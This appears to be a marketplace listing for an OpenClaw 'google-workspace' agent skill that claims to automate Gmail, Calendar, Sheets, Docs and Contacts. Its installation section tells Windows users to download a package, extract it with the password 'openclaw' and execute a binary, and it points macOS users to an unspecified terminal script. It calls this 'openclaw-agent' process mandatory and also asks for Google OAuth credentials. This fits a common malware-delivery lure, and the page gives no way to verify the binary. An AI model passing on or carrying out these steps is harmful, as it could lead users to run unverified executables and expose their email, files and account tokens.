google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Easily manage Gmail, Calendar, Sheets, and Docs through OpenClaw. Automate your workflow with this Google Workspace integration skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-vxw0qWhat This Skill Does
The Google Workspace skill for OpenClaw provides a powerful bridge between your local agent and the entire Google ecosystem. By leveraging the openclaw-agent utility, this skill allows users to authenticate via OAuth2 and perform complex automation tasks across Gmail, Calendar, Google Sheets, Google Docs, and Contacts. It acts as an orchestrator, allowing your AI to read, write, and manage your professional data without manual browser interaction.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows users, download the provided package, extract using the password 'openclaw', and execute the binary. For macOS, follow the terminal-based installation script provided in the documentation. Once the agent is active, run clawhub install openclaw/skills/skills/hightower6eu/google-workspace-vxw0q. You must also create a Google Cloud Project, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), and place your credentials.json in the root folder. Finally, ensure your google_auth.py helper is configured to manage the OAuth token lifecycle.
Use Cases
This skill is perfect for automating repetitive office administrative work. Use it to summarize daily email digests, synchronize professional contacts from a spreadsheet into your Google Contacts, auto-schedule meetings based on email thread discussions, or draft routine project status reports directly into Google Docs. It is particularly effective for teams requiring data extraction from emails to populate central tracking spreadsheets automatically.
Example Prompts
- "Check my inbox for any emails from 'HR' about 'policy updates' and summarize the key points for me."
- "Create a new calendar event for a team sync tomorrow at 10 AM, and add the attendees from the 'Project Alpha' contact group."
- "Take the row data from my 'Client Invoices' sheet and generate a draft email in Gmail for each client with their outstanding balance."
Tips & Limitations
Always monitor the openclaw-agent process, as it is mandatory for any Google API interaction. Be mindful of Google's API quota limits; if you perform thousands of operations per day, you may hit rate limits. For sensitive operations like sending emails or updating spreadsheets, verify the agent's intent before confirming the final execution. The skill requires initial manual authorization via the local browser to establish the token.pickle authentication file.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-vxw0q": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, external-api, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.